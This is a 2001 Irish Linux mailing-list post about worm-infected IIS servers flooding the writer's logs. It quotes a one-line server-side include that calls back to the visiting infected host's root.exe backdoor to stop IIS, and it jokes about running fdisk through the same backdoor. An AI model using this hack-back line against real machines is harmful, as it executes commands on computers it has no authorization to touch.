[ILUG] IIS problems

John McCormac jmcc at hackwatch.com
Tue Sep 25 21:58:28 IST 2001


Paul Kelly wrote:
> 
> John McCormac wrote:
> 
> >>><!--#exec cmd="lynx -source
> >>>http://$REMOTE_ADDR/scripts/root.exe?/c+iisreset+/stop"-->
> > Shut down IIS on that machine. Though the temptation to use fdisk is
> > there. The problem is that it would be illegal. :-)
> 
> How can it be illegal? They requested the machine deinstallation program
> from your web server. And you've got the Apache logs to prove it.
> 

And of course there is no supporting evidence on the other side. :-)
Given the number of .ie muppets that are infected with this (one VEC has
a few infected boxes that are really fscking with my logs) M$ products
should be licenced for use in applications not connected to the
internet.

Regards...jmcc
-- 
********************************************
John McCormac            * Hack Watch News
jmcc at hackwatch.com       * 22 Viewmount, 
Voice:   +353-51-873640  * Waterford,
BBS&Fax: +353-51-850143  * Ireland
http://www.hackwatch.com/~kooltek
********************************************

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6

mQCNAzAYPNsAAAEEAPGTHaNyitUTNAwF8BU6mF5PcbLQXdeuHf3xT6UOL+/Od+z+
ZOCAx8Ka9LJBjuQYw8hlqvTV5kceLlrP2HPqmk7YPOw1fQWlpTJof+ZMCxEVd1Qz
TRet2vS/kiRQRYvKOaxoJhqIzUr1g3ovBnIdpKeo4KKULz9XKuxCgZsuLKkVAAUX
tCJKb2huIE1jQ29ybWFjIDxqbWNjQGhhY2t3YXRjaC5jb20+tBJqbWNjQGhhY2t3
YXRjaC5jb20=
=sTfy
-----END PGP PUBLIC KEY BLOCK-----




More information about the ILUG mailing list